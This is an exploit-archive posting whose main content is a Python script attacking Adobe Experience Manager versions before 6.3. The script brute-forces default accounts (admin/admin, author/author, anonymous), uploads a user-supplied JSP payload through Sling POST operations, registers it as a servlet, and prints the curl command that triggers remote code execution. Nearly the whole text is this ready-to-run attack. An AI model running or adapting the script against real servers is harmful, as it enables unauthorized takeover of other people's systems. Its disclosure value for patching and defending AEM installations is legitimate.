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Adobe Experience Manager (AEM) Remote Code Execution

Adobe Experience Manager (AEM) Remote Code Execution
Posted May 20, 2018
Authored by StaticFlow

Default credentials in Adobe Experience Manager (AEM) versions prior to 6.3 can lead to remote code execution.

tags | exploit, remote, code execution
MD5 | e16c1926d28aab23d1dc10543db6f4a9

Adobe Experience Manager (AEM) Remote Code Execution

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# Exploit Title: Adobe Experience Manager (AEM) < 6.3 default credentials leads to RCE
# Date: 5/19/18
# Exploit Author: StaticFlow
# Vendor Homepage: https://www.adobe.com/in/marketing-cloud/experience-manager.html
# Version: < 6.3
import requests
import sys

baseUrl = 'https://test.com/' #default domain, change here or pass in on command line
credentialList = [['anonymous','anonymous'], ['author','author'], ['admin','admin']]
exploit = 'rce.jsp' #default file name, must be in same dir as python file or passed in on command line

def testLogins():
for credential in credentialList:
response = requests.get(baseUrl, auth=(credential[0], credential[1]))
if(response.status_code == 200):
return credential
return False

if len(sys.argv) == 2:
baseUrl = sys.argv[1]
if len(sys.argv) == 3:
exploit = sys.argv[2]

gotCreds = testLogins()
if(gotCreds):
attackChain = [
{
'jcr:primaryType': (None, 'nt:folder') #create a folder for our exploit
},
{
'exec.jsp': ('rce.jsp', open(exploit, 'rb')) #upload the exploit
},
{
':operation': (None, 'copy'), #copy exploit folder over to app folder for staging
':dest': (None, '/apps/rcetype')
},
{
'sling:resourceType': (None, 'rcetype') #instruct Apache Sling to initialize our exploit code as a servlet
}
]
print "creating folder structure and uploading exploit"
for attack in attackChain[:-1]:
response = requests.post(baseUrl+'content/rcetype', files=attack, auth=(gotCreds[0], gotCreds[1]))
if response.status_code > 201:
print "Something went wrong, request returned a "+str(response.status_code)+". Here's the response:"
print response.content
sys.exit(0)

print "initializing servlet from exploit"
response = requests.post(baseUrl+'content/rce', files=attackChain[-1], auth=(gotCreds[0], gotCreds[1]))
if response.status_code > 201:
print "Something went wrong, request returned a "+str(response.status_code)+". Here's the response:"
print response.content
sys.exit(0)
print """Should be good to go, run 'curl -X "GET" -u {}:{} {}' and your exploit should run""".format(gotCreds[0],gotCreds[1],baseUrl+'content/rce.exec')


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